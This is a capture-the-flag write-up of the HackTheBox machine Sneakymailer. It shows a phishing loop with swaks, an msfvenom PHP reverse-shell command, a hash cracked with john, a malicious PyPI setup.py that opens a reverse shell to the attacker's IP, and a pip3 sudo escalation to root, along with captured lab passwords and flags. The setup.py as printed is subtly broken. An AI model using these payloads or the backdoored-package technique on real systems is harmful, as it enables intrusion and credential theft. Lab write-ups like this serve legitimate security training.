HTB: Sneakymailer
Posted on 03 Dec 2020 in security • 6 min read
This is a writeup about a retired HacktheBox machine: Sneakymailer publish on July 11, 2020 by sulcud. This box is rated as a medium box. It implies some phishing, an IMAP server, a FTP server, Pypi and sudo.
Foothold
Recon
Let us start as always by a nmap
scan.
# Nmap 7.80 scan initiated Sat Jul 25 03:42:58 2020 as: nmap -p- -sSV -oN nmap 10.10.10.197
Nmap scan report for 10.10.10.197
Host is up (0.079s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http nginx 1.14.2
143/tcp open imap Courier Imapd (released 2018)
993/tcp open ssl/imap Courier Imapd (released 2018)
8080/tcp open http nginx 1.14.2
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
There is a few open ports:
- 21 FTP
- 22 SSH
- 25 SMTPD (email)
- 80 Nginx (web)
- 143 imap (mail)
- 993 imap/ssl (mail)
- 8080 nginx (mail)
Web
When browsing the website we notice a list of email addresses. We copy them to a
file an use cut -f 4
to get a proper list with the email only.
Nothing else on the website seems of interest.
Phishing
As the port 25 is open, we can send email to the server.
Our phishing email will contain a simple
link to our machine http://10.10.14.11:8080/test
:
Hey try that:
http://10.10.14.11:8000/test
HF
We use swaks in order to automatically send our phishing email:
while read l; do swaks --to $l --server 10.10.10.197 --body email; done <emails
We run a netcat
listener on port 8080 in order to see the incoming requests and
got some POST request containing a username and a password.
nc -l -p 8000
POST /test%0D HTTP/1.1
Host: 10.10.14.11:8000
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
Evolution
It took me quit a long time to understand what these credentials where for. But
as the IMAP port is open we can connect to it with a mail client. We launch
evolution (already installed on Kali Linux) and configure it with the previous
information (note that the user is paulbyrd
).
We found two emails in the sent
directory. The first on contain a password for
the developer
account.
Hello administrator, I want to change this password for the developer account
Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it
The second one is a address to low
and give us some hint about one of the next step.
Hello low
Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.
FTP
The developer
account credentials allow us to connect to the FTP service. We
see that we can write on the dev
folder.
This also take me some time to figure out but we can access our uploaded file on
the dev
environment accessible at http://dev.sneakycorp.htb/test.
Therefore we generate a simple PHP meterpreter
using msfvenom
: msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.16 LPORT=4444 -f raw > lol.php
and upload it on the FTP server.
write on ftp dev (webshell)
kali@kali:~$ ftp 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:kali): developer
331 Please specify the password.
Password:
230 Login successful.
ftp> cd dev
250 Directory successfully changed.
ftp> put lol.php
local: lol.php remote: lol.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
30687 bytes sent in 0.00 secs (7.3772 MB/s)
We run the metasploit
handler and trigger our payload by browsing to http://dev.sneakycorp.htb/lol.php.
This get us a shell as www-data
.
meterpreter > getuid
Server username: www-data (33)
User
John
We browse the file system and found some pypi
sub domain and a .htpasswd
file
containing an encrypted password.
meterpreter > ls
Listing: /var/www/pypi.sneakycorp.htb
=====================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 43 fil 2020-05-15 14:29:53 -0400 .htpasswd
40770/rwxrwx--- 4096 dir 2020-08-07 07:12:52 -0400 packages
40755/rwxr-xr-x 4096 dir 2020-05-14 18:25:43 -0400 venv
meterpreter > cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
We run john
and the rockyou
dictionary on it.
$ john hash -w=~/tools/password_lists/rockyou.txt --fork=8
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-opencl"
Use the "--format=md5crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster
Node numbers 1-8 of 8 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
4 0g 0:00:00:05 5.58% (ETA: 14:16:12) 0g/s 19731p/s 19731c/s 19731C/s jeanix..jbhunt
soufianeelhaoui (pypi)
PyPi
This new credentials set allows us to access the PyPi server located at http://pypi.sneakycorp.htb:8080/.
I had never made a Python package, neither use that in order to get a reverse shell. A read a few article about make and uploading package to pypi.
We then construct a specific package with a reverse shell code in setup.py
.
The structure of the package is the following.
package
├── build
│ └── lib.linux-x86_64-2.7
│ └── plop
│ ├── __init__.py
│ └── plop.py
├── dist
│ └── plop-0.3.tar.gz
├── LICENSE.txt
├── MANIFEST
├── plop
│ ├── __init__.py
│ └── plop.py
├── plop.egg-info
│ ├── dependency_links.txt
│ ├── PKG-INFO
│ ├── SOURCES.txt
│ └── top_level.txt
├── README
├── setup.cfg
└── setup.py
The code in setup.py
is:
from setuptools import setup
import sys
import os
import socket
import pty
from setuptools.command.install import install
import getpass
requests.get('http://10.10.14.11:8000/boom')
if getpass.getuser() != 'kali':
s=socket.socket()
s.connect(('10.10.14.11',4444))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")
setup(
name = 'plop', # How you named your package folder (MyLib)
packages = ['plop'], # Chose the same as "name"
version = '0.3', # Start with a small number and increase it with every change you make
license='MIT', # Chose a license from here: https://help.github.com/articles/licensing-a-repository
cmdclass={'install': CustomInstall},
)
We build our package with python setup.py sdist
and upload it to the PyPi
server with twine
:
twine upload --repository-url http://pypi.sneakycorp.htb:8080/ dist/* --verbose
At the same time we run a netcat
listener on our Kali box and wait for the
shell. We then have a shell as low
and can access the user flag.
nc -l -p 4444
$ id
id
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
$ cat ~/user.txt
cat ~/user.txt
73592699b63e47969c6de934654c2325
Root
We put our ssh public key in the .ssh/authorized_keys
file and connect to the
box using SSH and run sudo -l
. We found that we can run pip3
as root without
password.
kali@kali:~$ ssh low@10.10.10.197
low@sneakymailer:~$ sudo -l
^C^C^Csudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
We look at the GTFObins page for pip
and run the commands to create a temporary directory, write a simple setup.py
script executing a shell and installing this "script" as root which give us a
root
shell and allow us to read the root
flag.
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.FVBLBZ1NUO
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
3d8f51cb4506c19d77aea84d76e6a846
Wrapping up
The root part was really classic and easy. The user part was awesome! I learn so much on this box and the conception is clearly different from classical boxes as their is a lot of "interaction" with the "users" (phishing, pypi).
I clearly recommend this box for an "unexpected" journey.